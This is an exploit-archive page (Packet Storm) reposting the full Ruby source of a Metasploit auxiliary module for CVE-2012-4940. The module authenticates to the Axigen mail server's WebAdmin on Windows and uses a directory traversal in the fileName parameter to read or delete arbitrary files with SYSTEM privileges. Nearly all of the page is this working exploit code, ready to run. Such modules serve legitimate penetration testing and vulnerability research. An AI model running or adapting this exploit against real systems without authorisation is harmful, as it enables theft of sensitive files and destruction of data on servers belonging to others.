exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Axigen Arbitrary File Read And Delete

Axigen Arbitrary File Read And Delete
Posted Aug 31, 2024
Authored by juan vazquez, Zhao Liang | Site metasploit.com

This Metasploit module exploits a directory traversal vulnerability in the WebAdmin interface of Axigen, which allows an authenticated user to read and delete arbitrary files with SYSTEM privileges. The vulnerability is known to work on Windows platforms. This Metasploit module has been tested successfully on Axigen 8.10 over Windows 2003 SP2.

tags | exploit, arbitrary
systems | windows
advisories | CVE-2012-4940
SHA-256 | 65bded7c1002f50c11a1863f2988834a0950e01d4adc9009e4ce5c5edaea371a

Axigen Arbitrary File Read And Delete

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Axigen Arbitrary File Read and Delete',
'Description' => %q{
This module exploits a directory traversal vulnerability in the WebAdmin
interface of Axigen, which allows an authenticated user to read and delete
arbitrary files with SYSTEM privileges. The vulnerability is known to work on
Windows platforms. This module has been tested successfully on Axigen 8.10 over
Windows 2003 SP2.
},
'Author' => [
'Zhao Liang', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
[ 'US-CERT-VU', '586556' ],
[ 'CVE', '2012-4940' ],
[ 'OSVDB', '86802' ]
],
'Actions' => [
['Read', { 'Description' => 'Read remote file' }],
['Delete', { 'Description' => 'Delete remote file' }]
],
'DefaultAction' => 'Read',
'DisclosureDate' => '2012-10-31'
)
)

register_options(
[
Opt::RPORT(9000),
OptInt.new('DEPTH', [ true, 'Traversal depth if absolute is set to false', 4 ]),
OptString.new('TARGETURI', [ true, 'Path to Axigen WebAdmin', '/' ]),
OptString.new('USERNAME', [ true, 'The user to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]),
OptString.new('PATH', [ true, 'The file to read or delete', '\\windows\\win.ini' ])
]
)
end

def run
print_status('Trying to login')
if login
print_good('Login Successful')
else
print_error('Login failed, review USERNAME and PASSWORD options')
return
end

@traversal = '../' * 10
file = datastore['PATH']
@platform = get_platform

if @platform == 'windows'
@traversal.gsub!(%r{/}, '\\')
file.gsub!(%r{/}, '\\')
else # unix
print_error('*nix platform detected, vulnerability is only known to work on Windows')
return
end

case action.name
when 'Read'
read_file(datastore['PATH'])
when 'Delete'
delete_file(datastore['PATH'])
end
end

def read_file(file)
print_status('Retrieving file contents...')

res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, 'sources', 'logging', 'page_log_file_content.hsp'),
'method' => 'GET',
'cookie' => "_hadmin=#{@session}",
'vars_get' => {
'_h' => @token,
'fileName' => "#{@traversal}#{file}"
}
}
)

if res && (res.code == 200) && res.headers['Content-Type'] && !res.body.empty?
store_path = store_loot('axigen.webadmin.data', 'application/octet-stream', rhost, res.body, file)
print_good("File successfully retrieved and saved on #{store_path}")
else
print_error('Failed to retrieve file')
end
end

def delete_file(file)
print_status("Deleting file #{file}")

res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'cookie' => "_hadmin=#{@session}",
'vars_get' => {
'_h' => @token,
'page' => 'vlf',
'action' => 'delete',
'fileName' => "#{@traversal}#{file}"
}
}
)

if res && (res.code == 200) && res.body =~ (/View Log Files/)
print_good("File #{file} deleted")
else
print_error("Error deleting file #{file}")
end
end

def get_platform
print_status('Retrieving platform')

res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'cookie' => "_hadmin=#{@session}",
'vars_get' => {
'_h' => @token
}
}
)

if res && (res.code == 200)
if res.body =~ /Windows/
print_good('Windows platform found')
return 'windows'
elsif res.body =~ /Linux/
print_good('Linux platform found')
return 'unix'
end
end

print_warning('Platform not found, assuming UNIX flavor')
return 'unix'
end

def login
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'submit' => 'Login',
'action' => 'login'
}
}
)

if res && (res.code == 303) && res.headers['Location'] =~ (/_h=([a-f0-9]*)/)
@token = ::Regexp.last_match(1)
if res.get_cookies =~ /_hadmin=([a-f0-9]*)/
@session = ::Regexp.last_match(1)
return true
end
end

return false
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close